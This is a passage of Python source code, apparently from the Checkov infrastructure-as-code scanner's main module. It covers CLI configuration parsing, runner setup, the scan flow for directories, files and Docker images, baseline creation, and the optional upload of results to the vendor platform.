checkov.common.util.config_utils import get_default_config_paths\nfrom checkov.common.util.ext_argument_parser import ExtArgumentParser, flatten_csv\nfrom checkov.common.util.runner_dependency_handler import RunnerDependencyHandler\nfrom checkov.common.util.type_forcers import convert_str_to_bool, convert_str_to_optional_bool\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.contributor_metrics import report_contributor_metrics\nfrom checkov.dockerfile.runner import Runner as dockerfile_runner\nfrom checkov.docs_generator import print_checks\nfrom checkov.github.runner import Runner as github_configuration_runner\nfrom checkov.github_actions.runner import Runner as github_actions_runner\nfrom checkov.gitlab.runner import Runner as gitlab_configuration_runner\nfrom checkov.gitlab_ci.runner import Runner as gitlab_ci_runner\nfrom checkov.helm.runner import Runner as helm_runner\nfrom checkov.json_doc.runner import Runner as json_runner\nfrom checkov.kubernetes.runner import Runner as k8_runner\nfrom checkov.kustomize.runner import Runner as kustomize_runner\nfrom checkov.logging_init import log_stream as logs_stream\nfrom checkov.openapi.runner import Runner as openapi_runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.sast.report_types import serialize_reachability_report\nfrom checkov.sast.report import SastData, SastReport\nfrom checkov.sast.runner import Runner as sast_runner\nfrom checkov.sca_image.runner import Runner as sca_image_runner\nfrom checkov.sca_package_2.runner import Runner as sca_package_runner_2\nfrom checkov.secrets.runner import Runner as secrets_runner\nfrom checkov.serverless.runner import Runner as sls_runner\nfrom checkov.terraform.plan_runner import Runner as tf_plan_runner\nfrom checkov.terraform.runner import Runner as tf_graph_runner\nfrom checkov.terraform_json.runner import TerraformJsonRunner\nfrom checkov.version import version\nfrom checkov.yaml_doc.runner import Runner as yaml_runner\n\nif TYPE_CHECKING:\n    from checkov.common.output.report import Report\n    from checkov.common.runners.base_runner import BaseRunner\n    from configargparse import Namespace\n\nsignal.signal(signal.SIGINT, lambda x, y: sys.exit(''))\n\nouter_registry = None\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n# sca package runner added during the run method\nDEFAULT_RUNNERS: \"list[BaseRunner[Any, Any, Any]]\" = [\n    tf_graph_runner(),\n    cfn_runner(),\n    k8_runner(),\n    sls_runner(),\n    arm_runner(),\n    tf_plan_runner(),\n    helm_runner(),\n    dockerfile_runner(),\n    secrets_runner(),\n    json_runner(),\n    yaml_runner(),\n    github_configuration_runner(),\n    gitlab_configuration_runner(),\n    gitlab_ci_runner(),\n    bitbucket_configuration_runner(),\n    bitbucket_pipelines_runner(),\n    kustomize_runner(),\n    github_actions_runner(),\n    bicep_runner(),\n    openapi_runner(),\n    sca_image_runner(),\n    sca_package_runner_2(),\n    argo_workflows_runner(),\n    circleci_pipelines_runner(),\n    azure_pipelines_runner(),\n    ansible_runner(),\n    TerraformJsonRunner(),\n    sast_runner(),\n    CdkRunner(),\n]\n\n\nclass Checkov:\n    def __init__(self, argv: list[str] = sys.argv[1:]) -> None:\n        self.config: \"Namespace\"  # set in 'parse_config()'\n        self.parser: \"ExtArgumentParser\"  # set in 'parse_config()'\n        self.runners = DEFAULT_RUNNERS.copy()\n        self.scan_reports: \"list[Report]\" = []\n        self.run_metadata: dict[str, str | list[str]] = {}\n        self.graphs: dict[str, list[tuple[LibraryGraph, Optional[str]]]] = {}\n        self.resource_subgraph_maps: dict[str, dict[str, str]] = {}\n        self.url: str | None = None\n        self.sast_data: SastData = SastData()\n\n        self.parse_config(argv=argv)\n\n    def _parse_mask_to_resource_attributes_to_omit(self) -> None:\n        resource_attributes_to_omit = defaultdict(set)\n        for entry in self.config.mask:\n            splitted_entry = entry.split(':')\n            # if we have 2 entries, this is resource & variable to mask\n            splitted_entry_len = len(splitted_entry)\n            if 2 == splitted_entry_len:\n                resource = splitted_entry[0]\n                variables_to_mask = splitted_entry[1].split(',')\n                resource_attributes_to_omit[resource].update(variables_to_mask)\n            # ToDo: Uncomment if we want to support universal masking\n            # elif 1 == splitted_entry_len:\n            #     variables_to_mask = splitted_entry[0].split(',')\n            #     resource_attributes_to_omit[RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK].update(variables_to_mask)\n\n        self.config.mask = resource_attributes_to_omit\n\n    def parse_config(self, argv: list[str] = sys.argv[1:]) -> None:\n        \"\"\"Parses the user-defined config via CLI flags and handles missing config-file\"\"\"\n\n        default_config_paths = get_default_config_paths(sys.argv[1:])\n        self.parser = ExtArgumentParser(\n            description='Infrastructure as code static analysis',\n            default_config_files=default_config_paths,\n            config_file_parser_class=configargparse.YAMLConfigFileParser,\n            add_env_var_help=True,\n        )\n        self.parser.add_parser_args()\n        argcomplete.autocomplete(self.parser)\n\n        # Pre-validate the config-file argument\n        if env_vars_config.ENABLE_CONFIG_FILE_VALIDATION:\n            for i, arg in enumerate(argv):\n                if arg == \"--config-file\" and i + 1 < len(argv):\n                    config_path = Path(argv[i + 1])\n                    if not config_path.is_file():\n                        logger.debug(f\"The config file at '{config_path}' does not exist. Running without a config file.\")\n                        argv[i + 1] = \"\"  # Clear the non-existent file from arguments\n\n        self.config = self.parser.parse_args(argv)\n        self.normalize_config()\n\n    def normalize_config(self) -> None:\n        if not self.config.bc_api_key and not self.config.include_all_checkov_policies:\n            # makes it easier to pick out policies later if we can just always rely on this flag without other context\n            logger.debug('No API key present; setting include_all_checkov_policies to True')\n            self.config.include_all_checkov_policies = True\n\n        if self.config.use_enforcement_rules and not self.config.bc_api_key:\n            self.parser.error('Must specify an API key with --use-enforcement-rules')\n\n        if self.config.bc_api_key and not self.config.repo_id and not self.config.list:\n            self.parser.error('--repo-id is required when using a platform API key')\n\n        if (self.config.policy_metadata_filter or self.config.policy_metadata_filter_exception) and not (self.config.bc_api_key and self.config.prisma_api_url):\n            logger.warning(\n                '--policy-metadata-filter or --policy-metadata-filter-exception flag was used without a Prisma Cloud API key. Policy filtering will be skipped.'\n            )\n\n        logging.debug('Normalizing --framework')\n        self.config.framework = self.normalize_framework_arg(self.config.framework, handle_all=True)\n        logging.debug(f'Normalized --framework value: {self.config.framework}')\n\n        logging.debug('Normalizing --skip-framework')\n        self.config.skip_framework = self.normalize_framework_arg(self.config.skip_framework)\n        logging.debug(f'Normalized --skip-framework value: {self.config.skip_framework}')\n\n        duplicate_frameworks = set(self.config.skip_framework).intersection(self.config.framework)\n        if duplicate_frameworks:\n            self.parser.error(f'Frameworks listed for both --framework and --skip-framework: {\", \".join(duplicate_frameworks)}')\n\n        # Parse mask into json with default dict. If self.config.mask is empty list, default dict will be assigned\n        self._parse_mask_to_resource_attributes_to_omit()\n\n        if self.config.file:\n            # it is passed as a list of lists\n            self.config.file = list(itertools.chain.from_iterable(self.config.file))\n\n    def normalize_framework_arg(self, raw_framework_arg: List[List[str]], handle_all: bool = False) -> List[str]:\n        # frameworks come as arrays of arrays, e.g. --framework terraform arm --framework bicep,cloudformation\n        # becomes: [['terraform', 'arm'], ['bicep,cloudformation']]\n        # we'll collapse it into a single array (which is how it was before checkov3)\n\n        if raw_framework_arg:\n            logging.debug(f'Raw framework value: {raw_framework_arg}')\n            frameworks = flatten_csv(raw_framework_arg)\n            logging.debug(f'Flattened frameworks: {frameworks}')\n            if handle_all and 'all' in frameworks:\n                return ['all']\n            else:\n                invalid = list(filter(lambda f: f not in checkov_runners, frameworks))\n                if invalid:\n                    self.parser.error(f'Invalid frameworks specified: {\", \".join(invalid)}.{os.linesep}'\n                                      f'Valid values are: {\", \".join(checkov_runners + [\"all\"] if handle_all else [])}')\n                return frameworks\n        elif handle_all:\n            logging.debug('No framework specified; setting to `all`')\n            return ['all']\n        else:\n            logging.debug('No framework specified; setting to none')\n            return []\n\n    def run(self, banner: str = checkov_banner, tool: str = default_tool, source_type: SourceType | None = None) -> int | None:\n        self.run_metadata = {\n            \"checkov_version\": version,\n            \"python_executable\": sys.executable,\n            \"python_version\": sys.version,\n            \"checkov_executable\": sys.argv[0],\n            \"args\": self.parser.format_values(sanitize=True).split('\\n'),\n            \"OS_system_info\": platform.platform(),\n            \"CPU_architecture\": platform.processor(),\n            \"Python_implementation\": platform.python_implementation()\n        }\n\n        logger.debug(f'Run metadata: {json.dumps(self.run_metadata, indent=2)}')\n\n        if self.config.custom_tool_name:  # if the user specifies a tool name, use that\n            tool = self.config.custom_tool_name\n        try:\n            if self.config.add_check:\n                resp = prompt.Prompt()\n                check = prompt.Check(resp.responses)\n                check.action()\n                return None\n\n            # Check if --output value is None. If so, replace with ['cli'] for default cli output.\n            if self.config.output is None:\n                self.config.output = ['cli']\n\n            if self.config.support:\n                bc_integration.support_flag_enabled = True\n\n            if self.config.bc_api_key and not self.config.include_all_checkov_policies:\n                if self.config.skip_download and not self.config.external_checks_dir:\n                    print('You are using an API key along with --skip-download but not --include-all-checkov-policies or --external-checks-dir. '\n                          'With these arguments, Checkov cannot fetch metadata to determine what is a local Checkov-only '\n                          'policy and what is a platform policy, so no policies will be evaluated. Please re-run Checkov '\n                          'and either remove the --skip-download option, or use the --include-all-checkov-policies and / or '\n                          '--external-checks-dir options.',\n                          file=sys.stderr)\n                    self.exit_run()\n                elif self.config.skip_download:\n                    print('You are using an API key along with --skip-download but not --include-all-checkov-policies. '\n                          'With these arguments, Checkov cannot fetch metadata to determine what is a local Checkov-only '\n                          'policy and what is a platform policy, so only local custom policies loaded with --external-checks-dir '\n                          'will be evaluated.',\n                          file=sys.stderr)\n                else:\n                    logger.debug('Using API key and not --include-all-checkov-policies - only running platform policies '\n                                 '(this is the default behavior, and this message is just for debugging purposes)')\n\n            # bridgecrew uses both the urllib3 and requests libraries, while checkov uses the requests library.\n            # Allow the user to specify a CA bundle to be used by both libraries.\n            bc_integration.setup_http_manager(self.config.ca_certificate, self.config.no_cert_verify)\n\n            # if a repo is passed in it'll save it.  Otherwise a default will be created based on the file or dir\n            self.config.repo_id = bc_integration.persist_repo_id(self.config)\n            # if a bc_api_key is passed it'll save it.  Otherwise it will check ~/.bridgecrew/credentials\n            self.config.bc_api_key = bc_integration.persist_bc_api_key(self.config)\n\n            if not self.config.bc_api_key:\n                # check, if someone tries to use a severity filter without an API key\n                severities = {severity for severity in BcSeverities.__dict__.values() if isinstance(severity, str)}\n                if (\n                    (self.config.check and any(check in severities for check in self.config.check))\n                    or (self.config.skip_check and any(check in severities for check in self.config.skip_check))\n                ):\n                    logging.warning(\"Filtering checks by severity is only possible with an API key\")\n\n            excluded_paths = self.config.skip_path or []\n\n            if self.config.var_file:\n                self.config.var_file = [os.path.abspath(f) for f in self.config.var_file]\n\n            runner_filter = RunnerFilter(\n                framework=self.config.framework,\n                skip_framework=self.config.skip_framework,\n                checks=self.config.check,\n                skip_checks=self.config.skip_check,\n                include_all_checkov_policies=self.config.include_all_checkov_policies,\n                download_external_modules=convert_str_to_optional_bool(self.config.download_external_modules),\n                external_modules_download_path=self.config.external_modules_download_path,\n                evaluate_variables=bool(convert_str_to_bool(self.config.evaluate_variables)),\n                runners=checkov_runners,\n                excluded_paths=excluded_paths,\n                all_external=self.config.run_all_external_checks,\n                var_files=self.config.var_file,\n                skip_cve_package=self.config.skip_cve_package,\n                show_progress_bar=not self.config.quiet,\n                use_enforcement_rules=self.config.use_enforcement_rules,\n                enable_secret_scan_all_files=bool(convert_str_to_bool(self.config.enable_secret_scan_all_files)),\n                block_list_secret_scan=self.config.block_list_secret_scan,\n                deep_analysis=self.config.deep_analysis,\n                repo_root_for_plan_enrichment=self.config.repo_root_for_plan_enrichment,\n                resource_attr_to_omit=self.config.mask,\n                enable_git_history_secret_scan=self.config.scan_secrets_history,\n                git_history_timeout=self.config.secrets_history_timeout,\n                report_sast_imports=bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_IMPORTS', False))),\n                report_sast_reachability=bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_REACHABILITY', False)))\n            )\n\n            source_env_val = os.getenv('BC_SOURCE', 'cli')\n            source = source_type if source_type else get_source_type(source_env_val)\n            if source == SourceTypes[BCSourceType.DISABLED]:\n                logger.warning(\n                    f'Received unexpected value for BC_SOURCE: {source_env_val}; Should be one of {{{\",\".join(SourceTypes.keys())}}} setting source to DISABLED')\n            source_version = os.getenv('BC_SOURCE_VERSION', version)\n            logger.debug(f'BC_SOURCE = {source.name}, version = {source_version}')\n\n            if self.config.list:\n                # This speeds up execution by not setting up upload credentials (since we won't upload anything anyways)\n                logger.debug('Using --list; setting source to DISABLED')\n                source = SourceTypes[BCSourceType.DISABLED]\n\n            if outer_registry:\n                runner_registry = outer_registry\n                runner_registry.runner_filter = runner_filter\n                runner_registry.filter_runner_framework()\n            else:\n                runner_registry = RunnerRegistry(banner, runner_filter, *self.runners, tool=tool)\n\n            runnerDependencyHandler = RunnerDependencyHandler(runner_registry)\n            runnerDependencyHandler.validate_runner_deps()\n\n            if self.config.show_config:\n                print(self.parser.format_values(sanitize=True))\n                return None\n\n            if self.config.bc_api_key == '':\n                self.parser.error(\n                    'The --bc-api-key flag was specified but the value was blank. If this value was passed as a '\n                    'secret, you may need to double check the mapping.'\n                )\n            elif self.config.bc_api_key:\n                logger.debug(f'Using API key ending with {self.config.bc_api_key[-8:]}')\n\n                if not bc_integration.is_token_valid(self.config.bc_api_key):\n                    raise Exception('The provided API key does not appear to be a valid Bridgecrew API key or Prisma Cloud '\n                                    'access key and secret key. For Prisma, the value must be in the form '\n                                    'ACCESS_KEY::SECRET_KEY. For Bridgecrew, make sure to copy the token value from when you '\n                                    'created it, not the token ID visible later on. If you are using environment variables, '\n                                    'make sure they are properly set and exported.')\n\n                if not self.config.list:\n                    # if you are only listing policies, then the API key will be used to fetch policies, but that's it,\n                    # so the repo is not required and ignored\n                    if self.config.repo_id is None:\n                        self.parser.error(\"--repo-id argument is required when using --bc-api-key\")\n                    else:\n                        repo_id_sections = self.config.repo_id.split('/')\n                        if len(repo_id_sections) < 2 or any(len(section) == 0 for section in repo_id_sections):\n                            self.parser.error(\n                                \"--repo-id argument format should be 'organization/repository_name' E.g \"\n                                \"bridgecrewio/checkov\"\n                            )\n\n                try:\n                    bc_integration.bc_api_key = self.config.bc_api_key\n                    bc_integration.api_url = 'https://www.bridgecrew.cloud'\n                    bc_integration.setup_bridgecrew_credentials(repo_id=self.config.repo_id,\n                                                                skip_fixes=False,  # will be set to True if this run is not eligible for fixes\n                                                                skip_download=self.config.skip_download,\n                                                                source=source,\n                                                                source_version=source_version,\n                                                                repo_branch=self.config.branch,\n                                                                prisma_api_url=self.config.prisma_api_url)\n\n                except MaxRetryError:\n                    self.exit_run()\n                except PlatformConnectionError:\n                    self.exit_run()\n                except Exception:\n                    if bc_integration.prisma_api_url:\n                        message = 'An error occurred setting up the Prisma Cloud platform integration. ' \\\n                                  'Please check your Prisma Cloud API token and URL and try again.'\n                    else:\n                        message = 'An error occurred setting up the Bridgecrew platform integration. ' \\\n                                  'Please check your API token and try again.'\n                    if logger.isEnabledFor(logging.DEBUG):\n                        logger.debug(message, exc_info=True)\n                    else:\n                        logger.error(message)\n                        logger.error('Please try setting the environment variable LOG_LEVEL=DEBUG and re-running the command, and provide the output to support', exc_info=True)\n                    self.exit_run()\n            else:\n                if bc_integration.support_flag_enabled:\n                    logger.warning(\"--bc-api-key argument is required when using --support\")\n                logger.debug('No API key found. Scanning locally only.')\n                self.config.include_all_checkov_policies = True\n\n            if self.config.check and self.config.skip_check:\n                if any(item in runner_filter.checks for item in runner_filter.skip_checks):\n                    self.parser.error(\"The check ids specified for '--check' and '--skip-check' must be mutually exclusive.\")\n                    return None\n\n            BC_SKIP_MAPPING = os.getenv(\"BC_SKIP_MAPPING\", \"FALSE\")\n            if self.config.skip_download or BC_SKIP_MAPPING.upper() == \"TRUE\":\n                bc_integration.skip_download = True\n\n            try:\n                bc_integration.get_platform_run_config()\n            except Exception:\n                if not self.config.include_all_checkov_policies:\n                    # stack trace gets printed in the exception handlers above\n                    # include_all_checkov_policies will always be set when there is no API key, so we don't need to worry about it here\n                    print('An error occurred getting data from the platform, including policy metadata. Because --include-all-checkov-policies '\n                          'was not used, Checkov cannot differentiate Checkov-only policies from platform policies, and no '\n                          'policies will get evaluated. Please resolve the error above or re-run with the --include-all-checkov-policies argument '\n                          '(but note that this will not include any custom platform configurations or policy metadata).',\n                          file=sys.stderr)\n                    self.exit_run()\n\n            # bc_integration.get_runtime_run_config()\n            bc_integration.setup_on_prem()\n            if bc_integration.on_prem:\n                # disable --support for on-premises integrations\n                if bc_integration.support_flag_enabled:\n                    logger.warning(\"--support flag is not supported for on-premises integrations\")\n                    bc_integration.support_flag_enabled = False\n                # disable sca_package, sca_image for on-premises integrations\n                if not outer_registry:\n                    removed_check_types = []\n                    for runner in list(runner_registry.runners):\n                        if runner.check_type in [CheckType.SCA_IMAGE, CheckType.SCA_PACKAGE]:\n                            removed_check_types.append(runner.check_type)\n                            runner_registry.runners.remove(runner)\n                    if removed_check_types:\n                        logger.warning(f\"Following runners won't run as they are not supported for on-premises integrations: {removed_check_types}\")\n\n            bc_integration.get_prisma_build_policies(self.config.policy_metadata_filter, self.config.policy_metadata_filter_exception)\n\n            # set config to make it usable inside the integration features\n            integration_feature_registry.config = self.config\n            integration_feature_registry.run_pre_scan()\n\n            # assign policies suppression to runner_filter\n            policy_level_suppression = suppressions_integration.get_policy_level_suppressions()\n            runner_filter.bc_cloned_checks = custom_policies_integration.bc_cloned_checks\n            custom_policies_integration.policy_level_suppression = list(policy_level_suppression.keys())\n            runner_filter.set_suppressed_policies(list(policy_level_suppression.values()))\n\n            if any(framework in runner_filter.framework for framework in (\"all\", CheckType.SCA_IMAGE)):\n                # only run image referencer, when sca_image framework is enabled\n                runner_filter.run_image_referencer = licensing_integration.should_run_image_referencer()\n\n            runner_filter.filtered_policy_ids = policy_metadata_integration.filtered_policy_ids\n            runner_filter.filtered_exception_policy_ids = policy_metadata_integration.filtered_exception_policy_ids\n            logger.debug(f\"Filtered list of policies: {runner_filter.filtered_policy_ids}\")\n            logger.debug(f\"Filtered excluded list of policies: {runner_filter.filtered_exception_policy_ids}\")\n\n            runner_filter.excluded_paths = runner_filter.excluded_paths + list(repo_config_integration.skip_paths)\n\n            if self.config.use_enforcement_rules:\n                runner_filter.apply_enforcement_rules(repo_config_integration.code_category_configs)\n\n            if self.config.list:\n                print_checks(frameworks=self.config.framework, use_bc_ids=self.config.output_bc_ids,\n                             include_all_checkov_policies=self.config.include_all_checkov_policies,\n                             filtered_policy_ids=runner_filter.filtered_policy_ids,\n                             filtered_exception_policy_ids=runner_filter.filtered_exception_policy_ids)\n                return None\n\n            baseline = None\n            if self.config.baseline:\n                baseline = Baseline(self.config.output_baseline_as_skipped)\n                baseline.from_json(self.config.baseline)\n\n            external_checks_dir = self.get_external_checks_dir()\n            created_baseline_path = None\n\n            default_github_dir_path = os.getcwd() + '/' + os.getenv('CKV_GITHUB_CONF_DIR_NAME', 'github_conf')\n            git_configuration_folders = [os.getenv(\"CKV_GITHUB_CONF_DIR_PATH\", default_github_dir_path),\n                                         os.getcwd() + '/' + os.getenv('CKV_GITLAB_CONF_DIR_NAME', 'gitlab_conf')]\n\n            if self.config.directory:\n                exit_codes = []\n                bc_integration.scan_dir = self.config.directory\n                for root_folder in self.config.directory:\n                    absolute_root_folder = os.path.abspath(root_folder)\n                    if not os.path.exists(root_folder):\n                        logger.error(f'Directory {root_folder} does not exist; skipping it')\n                        continue\n                    file = self.config.file\n                    self.scan_reports = runner_registry.run(\n                        root_folder=root_folder,\n                        external_checks_dir=external_checks_dir,\n                        files=file,\n                    )\n                    self.graphs = runner_registry.check_type_to_graph\n                    self.resource_subgraph_maps = runner_registry.check_type_to_resource_subgraph_map\n                    if runner_registry.is_error_in_reports(self.scan_reports):\n                        self.exit_run()\n                    if baseline:\n                        baseline.compare_and_reduce_reports(self.scan_reports)\n\n                    if bc_integration.is_integration_configured() \\\n                            and bc_integration.bc_source \\\n                            and bc_integration.bc_source.upload_results \\\n                            and not self.config.skip_results_upload \\\n                            and not bc_integration.s3_setup_failed:\n                        included_paths = [self.config.external_modules_download_path]\n                        for r in runner_registry.runners:\n                            included_paths.extend(r.included_paths())\n                        self.save_sast_assets_data(self.scan_reports)\n                        self.save_sast_reachability_data(self.scan_reports)\n                        self.upload_results(\n                            root_folder=root_folder,\n                            absolute_root_folder=absolute_root_folder,\n                            excluded_paths=runner_filter.excluded_paths,\n                            included_paths=included_paths,\n                            git_configuration_folders=git_configuration_folders,\n                            sca_supported_ir_report=runner_registry.sca_supported_ir_report,\n                            sast_languages=runner_filter.sast_languages\n                        )\n\n                    if self.config.create_baseline:\n                        overall_baseline = Baseline()\n                        for report in self.scan_reports:\n                            overall_baseline.add_findings_from_report(report)\n                        created_baseline_path = os.path.join(os.path.abspath(root_folder), '.checkov.baseline')\n                        with open(created_baseline_path, 'w') as f:\n                            json.dump(overall_baseline.to_dict(), f, indent=4)\n                    exit_codes.append(self.print_results(\n                        runner_registry=runner_registry,\n                        url=self.url,\n                        created_baseline_path=created_baseline_path,\n                        baseline=baseline,\n                    ))\n\n                # this needs to run after the upload (otherwise the repository does not exist)\n                should_run_contributor_metrics = bc_integration.bc_api_key and self.config.repo_id and self.config.prisma_api_url\n                logger.debug(f\"Should run contributor metrics report: {should_run_contributor_metrics}\")\n                if should_run_contributor_metrics:\n                    try:  # collect contributor info and upload\n                        report_contributor_metrics(self.config.repo_id, source.name, bc_integration)\n                    except Exception as e:\n                        logger.warning(f\"Unable to report contributor metrics due to: {e}\")\n\n                exit_code = 1 if 1 in exit_codes else 0\n                return exit_code\n            elif self.config.docker_image:\n                if self.config.bc_api_key is None:\n                    self.parser.error(\"--bc-api-key argument is required when using --docker-image\")\n                    return None\n                if self.config.dockerfile_path is None:\n                    self.parser.error(\"--dockerfile-path argument is required when using --docker-image\")\n                    return None\n                if self.config.branch is None:\n                    self.parser.error(\"--branch argument is required when using --docker-image\")\n                    return None\n                files = [os.path.abspath(self.config.dockerfile_path)]\n                sca_runner = sca_image_runner()\n                result = sca_runner.run(\n                    root_folder='',\n                    image_id=self.config.docker_image,\n                    dockerfile_path=self.config.dockerfile_path,\n                    runner_filter=runner_filter,\n                )\n                self.scan_reports = result if isinstance(result, list) else [result]\n                if runner_registry.is_error_in_reports(self.scan_reports):\n                    self.exit_run()\n                if len(self.scan_reports) > 1:\n                    # this shouldn't happen, but if it happens, then it is intended or something is broke\n                    logger.error(f\"SCA image runner returned {len(self.scan_reports)} reports; expected 1\")\n\n                integration_feature_registry.run_post_runner(self.scan_reports[0])\n\n                if not self.config.skip_results_upload and not bc_integration.s3_setup_failed:\n                    try:\n                        if not bc_integration.on_prem:\n                            bc_integration.persist_repository(os.path.dirname(self.config.dockerfile_path), files=files, sast_languages=runner_filter.sast_languages)\n                        bc_integration.persist_scan_results(self.scan_reports)\n                        bc_integration.persist_sast_scan_results(self.scan_reports)\n                        bc_integration.persist_cdk_scan_results(self.scan_reports)\n                        bc_integration.persist_image_scan_results(sca_runner.raw_report, self.config.dockerfile_path,\n                                                                  self.config.docker_image,\n                                                                  self.config.branch)\n\n                        bc_integration.persist_run_metadata(self.run_metadata)\n                        # there is no graph to persist\n                        self.url = self.commit_repository()\n                    except Exception:\n                        logging.error('An error occurred while uploading scan results to the platform', exc_info=True)\n                        bc_integration.s3_setup_failed = True\n\n                should_run_contributor_metrics = bc_integration.bc_api_key and self.config.repo_id and self.config.prisma_api_url\n                logger.debug(f\"Should run contributor metrics report: {should_run_contributor_metrics}\")\n                if should_run_contributor_metrics:\n                    try:  # collect contributor info and upload\n                        report_contributor_metrics(self.config.repo_id, source.name, bc_integration)\n                    except Exception as e:\n                        logger.warning(f\"Unable to report contributor metrics due to: {e}\")\n\n                exit_code = self.print_results(runner_registry=runner_registry, url=self.url)\n                return exit_code\n            elif self.config.file:\n                bc_integration.scan_file = self.config.file\n                runner_registry.filter_runners_for_files(self.config.file)\n                self.scan_reports = runner_registry.run(\n                    external_checks_dir=external_checks_dir,\n                    files=self.config.file,\n                    repo_root_for_plan_enrichment=self.config.repo_root_for_plan_enrichment,\n                )\n                self.graphs = runner_registry.check_type_to_graph\n                self.resource_subgraph_maps = runner_registry.check_type_to_resource_subgraph_map\n                if runner_registry.is_error_in_reports(self.scan_reports):\n                    self.exit_run()\n                if baseline:\n                    baseline.compare_and_reduce_reports(self.scan_reports)\n                if self.config.create_baseline:\n                    overall_baseline = Baseline()\n                    for report in self.scan_reports:\n                        overall_baseline.add_findings_from_report(report)\n                    created_baseline_path = os.path.join(os.path.abspath(os.path.commonprefix(self.config.file)),\n                                                         '.checkov.baseline')\n                    with open(created_baseline_path, 'w') as f:\n                        json.dump(overall_baseline.to_dict(), f, indent=4)\n\n                if bc_integration.is_integration_configured() \\\n                        and bc_integration.bc_source \\\n                        and bc_integration.bc_source.upload_results \\\n                        and not self.config.skip_results_upload \\\n                        and not bc_integration.s3_setup_failed:\n                    files = [os.path.abspath(file) for file in self.config.file]\n                    root_folder = os.path.split(os.path.commonprefix(files))[0]\n                    absolute_root_folder = os.path.abspath(root_folder)\n\n                    self.save_sast_assets_data(self.scan_reports)\n                    self.save_sast_reachability_data(self.scan_reports)\n                    self.upload_results(\n                        root_folder=root_folder,\n                        absolute_root_folder=absolute_root_folder,\n                        files=files,\n                        excluded_paths=runner_filter.excluded_paths,\n                        git_configuration_folders=git_configuration_folders,\n                        sast_languages=runner_filter.sast_languages\n                    )\n\n                should_run_contributor_metrics = bc_integration.bc_api_key and self.config.repo_id and self.config.prisma_api_url\n                logger.debug(f\"Should run contributor metrics report: {should_run_contributor_metrics}\")\n                if should_run_contributor_metrics:\n                    try:  # collect contributor info and upload\n                        report_contributor_metrics(self.config.repo_id, source.name, bc_integration)\n                    except Exception as e:\n                        logger.warning(f\"Unable to report contributor metrics due to: {e}\")\n\n                exit_code = self.print_results(\n                    runner_registry=runner_registry,\n                    url=self.url,\n                    created_baseline_path=created_baseline_path,\n                    baseline=baseline,\n                )\n                return exit_code\n            elif not self.config.quiet:\n                print(f\"{banner}\")\n            return None\n        except ModuleNotEnabledError as m:\n            if all(framework in self.config.framework for framework in m.unsupported_frameworks):\n                logging.warning(m)\n            return None\n        except PlatformConnectionError:\n            # we don't want to print all of these stack traces in normal output, as these could be user error\n            # and stack traces look like checkov bugs\n            logging.debug(\"Exception traceback:\", exc_info=True)\n            self.exit_run()\n            return None\n        except SystemExit:\n            # calling exit_run from an exception handler causes another exception that is caught here, so we just need to re-exit\n            self.exit_run()\n            return None\n        except BaseException:  # noqa: B036 # we need to catch any failure and exit properly\n            logging.error(\"Exception traceback:\", exc_info=True)\n            self.exit_run()\n            return None\n\n        finally:\n            if bc_integration.support_flag_enabled:\n                # append main process log stream to the list of all streams\n                logger_streams.add_stream('main', logs_stream)\n\n                if bc_integration.s3_setup_failed:\n                    print_to_stderr = os.getenv('CKV_STDERR_DEBUG', 'FALSE').upper() == 'TRUE'\n                    log_level = os.getenv('LOG_LEVEL', '')\n                    if log_level == 'DEBUG':\n                        print('Unable to upload support logs. However, LOG_LEVEL is already set to DEBUG, so debug logs are available locally.')\n                    elif print_to_stderr:\n                        print('Unable to upload support logs - CKV_STDERR_DEBUG is TRUE, printing to stderr.')\n                        logger_streams.print_to_console()\n                    else:\n                        # default to writing to a file - if they are using the support flag they probably are not excited\n                        # to get debug logs from stderr (but they also might not be able to access a local file if it\n                        # is in CI/CD, so there is not a good approach here)\n                        print('Unable to upload support logs - saving debug logs to ./checkov_debug.log. To print the debug '\n                              'logs to stderr instead, set the CKV_STDERR_DEBUG environment variable to TRUE, and re-run. '\n                              'Note that this will result in the scan results being printed, followed by all logs.')\n                        logger_streams.print_to_files()\n                else:\n                    bc_integration.persist_all_logs_streams(logger_streams.get_streams())\n\n    def exit_run(self) -> None:\n        exit(0) if self.config.no_fail_on_crash else exit(2)\n\n    def commit_repository(self) -> str | None:\n        try:\n            return bc_integration.commit_repository(self.config.branch)\n        except Exception:\n            logging.debug(\"commit_repository failed, exiting\", exc_info=True)\n            self.exit_run()\n            return \"\"\n\n    def get_external_checks_dir(self) -> list[str]:\n        external_checks_dir: \"list[str]\" = self.config.external_checks_dir\n        if self.config.external_checks_git:\n            git_getter = GitGetter(url=self.config.external_checks_git[0])\n            external_checks_dir = [git_getter.get()]\n            atexit.register(shutil.rmtree, str(Path(external_checks_dir[0]).parent))\n        if bc_integration.sast_custom_policies:\n            if not external_checks_dir:\n                external_checks_dir = []\n            external_checks_dir.append(bc_integration.sast_custom_policies)\n        return external_checks_dir\n\n    def upload_results(\n            self,\n            root_folder: str,\n            absolute_root_folder: str,\n            files: list[str] | None = None,\n            excluded_paths: list[str] | None = None,\n            included_paths: list[str] | None = None,\n            git_configuration_folders: list[str] | None = None,\n            sca_supported_ir_report: Report | None = None,\n            sast_languages: Set[SastLanguages] | None = None\n    ) -> None:\n        \"\"\"Upload scan results and other relevant files\"\"\"\n\n        try:\n            scan_reports_to_upload = self.scan_reports\n            if not bc_integration.on_prem:\n                bc_integration.persist_repository(\n                    root_dir=root_folder,\n                    files=files,\n                    excluded_paths=excluded_paths,\n                    included_paths=included_paths,\n                    sast_languages=sast_languages\n                )\n                if git_configuration_folders:\n                    bc_integration.persist_git_configuration(os.getcwd(), git_configuration_folders)\n                if sca_supported_ir_report:\n                    scan_reports_to_upload = [report for report in self.scan_reports if report.check_type != 'sca_image']\n                    scan_reports_to_upload.append(sca_supported_ir_report)\n            bc_integration.persist_scan_results(scan_reports_to_upload)\n            bc_integration.persist_sast_scan_results(scan_reports_to_upload)\n            bc_integration.persist_cdk_scan_results(scan_reports_to_upload)\n            bc_integration.persist_assets_scan_results(self.sast_data.imports_data)\n            bc_integration.persist_reachability_scan_results(self.sast_data.reachability_report)\n            bc_integration.persist_run_metadata(self.run_metadata)\n            if bc_integration.enable_persist_graphs and not 